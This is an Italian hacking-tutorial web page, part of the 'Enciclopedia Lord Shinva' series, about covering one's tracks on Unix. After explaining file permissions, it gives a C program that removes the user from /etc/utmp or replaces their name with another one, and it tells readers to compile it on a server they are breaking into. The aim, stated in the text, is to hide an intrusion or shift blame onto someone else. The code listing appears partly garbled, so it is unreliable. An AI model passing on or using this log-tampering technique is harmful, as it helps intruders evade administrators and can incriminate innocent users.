Utenti Online:  | IP:  28/10/2002: Aggiornata la grafica del sito, by pCwArE ;))
Documentazione
Enciclopedia Lord Shinva
Guida protocollo TCP/IP

Security FAQ 1.0

RFC
Porte di connessione
Jargon file
E-zine

 

DISCLAIMER: Si ricorda che il Web Admin del sito ed il provider non si ritengono responsabili in nessun modo del cattivo utilizzo che chiunque dovesse fare di tutto il materiale contenuto nel sito. Lo scopo della Security Check Community è quello di condividere ed approfondire le conoscenze della comunità.

 

Votaci!!

Hacking/Documentazione
Enciclopedia Lord Shinva n.10
10. Dissimulazione 

HACKING PRATICO: DISSIMULAZIONE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I file di log piu` "pericolosi" che contengono le tracce da cancellare sono
/etc/utmp e /etc/wtmp ma un SysAdmin (a meno che non sia improvvisamente
impazzito) sa che proprio per evitare "manomissioni" tali file vanno protetti
e quindi in genere non e` possibile, per un utente qualsiasi, scrivere in
essi.

I "permessi" di lettura, scrittura e cancellazione di file e directory sotto
Unix sono nella forma drwxrwxrwx (non spaventatevi! =) dove:

"d" sta per directory (se c'e` e` una directory, altrimenti e` un file)
"r" sta per read (accesso in lettura consentito)
"w" sta per write (accesso in scrittura consentito)
"x" sta per execute (e` permesso eseguire il file)

Quando una o piu` di questi permessi non sono abilitati (non e` consentito
fare una cosa, come nel caso di r w x oppure non si tratta di una directory
nel caso di d) al loro posto troveremo un trattino (-).
Escludiamo ora il primo carattere, che serve solo a capire se stiamo avendo
a che fare con un file o una directory, e passiamo agli altri. Essi sono
raggruppati in tre gruppi di tre caratteri ciascuno: il primo gruppo si
riferisce a cosa puo` fare l'utente, il secondo a cosa puo` fare il gruppo
e il terzo a cosa possono fare gli altri. Un esempio: -rwxrw-r-- significa
che l'utente puo` leggere, scrivere ed eseguire il file (rwx), il secondo
(rw-) significa che il gruppo (vedi spiegazione sui file delle password) puo`
leggere e scrivere, ma non eseguire il file, mentre l'ultimo (r--) significa
che gli altri possono soltanto leggere il file, ma non modificarlo.

Per visualizzare i permessi di un file useremo il comando LS di Unix. Esso
equivale grossolanamente al comando DIR del DOS.
L'uso di LS per visualizzare i permessi di file e directory e` il seguente:

ls -l nome_e_percorso_del_file

Quindi, nel caso di utmp faremo: ls -l /etc/utmp dalla nostra shell.
Vediamo dunque dal risultato di questo comando se abbiamo il permesso di
scrivere in quel file: se il terzo carattere (nella forma vista prima) e`
la lettera "w" (write) abbiamo tali permessi. Se invece e` un trattino,
dovremo accontentarci di nascondere il nostro IP Address... oppure hackerare
root per avere tutti i permessi abilitati :)

Se dunque abbiamo il permesso di scrittura, potremo nascondere le nostre
tracce... o dissimulare il nostro username. Mi spiego meglio: supponiamo
che il nostro username e` "hacker". Il nostro scopo e` farlo scomparire dai
log, ma potremmo anche volerlo cambiare e far ricadere la colpa su qualcun
altro che abbia un certo username, o ancora far comparire nei log un username
inesistente (ad esempio qualche parolina per sfottere un po` il SysAdmin enl
caso in cui vada a leggersi il log per risalire a noi).

Ecco il programma in C (per Unix) che fara` entrambe le cose, a seconda di
quella che ci serve:


-= INIZIO CODICE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

#include 
#include 
#include 
#include 
#include 

struct utmp *user;
char *usrt;

main (argc,argv)
int argc;
char *argv[];
{
int fatto=0, cnt=0, start=1, index=0;
char err[80];
if (argc == 1) printf("Removing you from utmp\n");
if (argc == 2) printf("Changing your login to %s\n",argv[1]);
utmpname("/etc/utmp");
usrt = strrchr(ttyname(0),'/');
strcpy(usrt,++usrt);
while (fatto != 1) {
user = getutent();
cnt++;
if (strcmp(user->ut_line,usrt) == 0) fatto=1;
}
utmpname("/etc/utmp");
for (start=0; startut_type = LOGIN_PROCESS;
strcpy(user->ut_name,"LOGIN");
}
else user->ut_type = USER_PROCESS;
if (argc == 2) strcpy(user->ut_name,argv[1]);
pututline(user);
endutent();
}

-= FINE CODICE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


Ovviamente dovrete avere almeno un po` di dimestichezza con Unix... vi
bastera` salvare questo listato sotto forma di file di testo, e inviarlo in
una directory del server da hackerare, dopodiche` dovrete compilare il file
usando gcc oppure cc (i due compilatori C piu` usati sotto Unix), digitando
nella shell: gcc nome_del_file.c

Se tutto e` andato bene, troverete nella directory un file compilato (se il
nome del file era nascondi.c il nome del file eseguibile sara` semplicemente
"nascondi"). L'uso e` semplice: eseguendo il file le vostre tracce saranno
cancellate da utmp. Scrivendo invece (ad esempio): nascondi hahaha
il vostro username non sara` cancellato da utmp, ma verra` sostituito con
"hahaha".

Se avete il permesso in scrittura su utmp e non volete cimentarvi con il C
e i compilatori (dovrete farlo prima o poi, se volete imparare seriamente)
e volete ancora eliminare il vostro username dal log, dovrete:

1) usare la tecnica del collegamento ricorsivo con Telnet (vista all'inizio
di questo file) per nascondere l'IP;
2) modificare il file utmp per rimuovere l'username... o eliminarlo.

Comunque vi consiglio caldamente di evitare questa "manovra" estrema e di
usare il programma in C sopra riportato.

Nel frattempo, se avete installato Unix o Linux sul vostro computer (non
l'avete fatto ancora?? che aspettate? la miglior teoria e` la pratica ;)
sarebbe bene prendere dimestichezza con il compilatore C e con i comandi di
base (come cat e ls), e dare poi uno sguardo ai file utmp e wtmp per vedere
come sono strutturati. Provate anche a compilare e usare il programma in C
presente in questo file.


Partner

pCwArE
ZeroDay
Il tuo sito qui..
Il tuo sito qui..
Il tuo sito qui..

>Diventa Partner

Newsletter

A breve la Newsletter!!
Community
Forum
Chat

Statistiche

[contatore visite]

 

TORNA ALLA HOMEPAGE

Security Check™ Designed By http://www.pcware.tk